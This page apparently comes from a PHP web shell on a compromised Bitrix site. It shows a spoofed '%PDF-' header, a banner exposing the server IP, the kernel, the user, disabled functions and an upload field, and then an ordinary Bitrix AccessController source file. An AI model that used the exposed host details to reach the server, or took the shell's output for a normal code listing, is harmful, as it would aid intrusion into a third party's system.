%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.147.195.146 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/access/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage sender * @copyright 2001-2021 Bitrix */ namespace Bitrix\Sender\Access; use Bitrix\Main\Access\AccessibleItem; use Bitrix\Main\Access\BaseAccessController; use Bitrix\Main\Access\Event\EventDictionary; use Bitrix\Main\Access\User\AccessibleUser; use Bitrix\Sender\Access\Exception\UnknownActionException; use Bitrix\Sender\Access\Model\UserModel; class AccessController extends BaseAccessController { private const BASE_RULE = 'Base'; /** * Checking access rights by action * @param string $action * @param AccessibleItem|null $item * @param null $params * * @return bool * @throws UnknownActionException */ public function check(string $action, AccessibleItem $item = null, $params = null): bool { $ruleName = $this->getRuleName($action); if (!$ruleName || !class_exists($ruleName)) { throw new UnknownActionException('Unknown action '.$action); } $event = $this->sendEvent(EventDictionary::EVENT_ON_BEFORE_CHECK, $action, null, $params); $isAccess = $event->isAccess(); if (!is_null($isAccess)) { return $isAccess; } $params['action'] = $action; $isAccess = (new $ruleName($this))->execute(null, $params); if($isAccess) { return $isAccess; } $event = $this->sendEvent(EventDictionary::EVENT_ON_AFTER_CHECK, $action,null, $params, $isAccess); $isAccess = $event->isAccess() ?? $isAccess; return $isAccess; } public function isAdmin() { return $this->user->isAdmin(); } protected function getRuleName(string $actionCode): ?string { $actionName = ActionDictionary::getActionName($actionCode); if (!$actionName) { return null; } $action = explode('_', $actionName); $action = array_map( function($el) { return ucfirst(mb_strtolower($el)); }, $action ); $ruleClass = $this->getRuleNamespace() .implode($action).self::RULE_SUFFIX; if(class_exists($ruleClass)) { return $ruleClass; } return $this->getRuleNamespace().self::BASE_RULE.self::RULE_SUFFIX; } protected function loadItem(int $itemId = null): ?AccessibleItem { return null; } protected function loadUser(int $userId): AccessibleUser { return UserModel::createFromId($userId); } }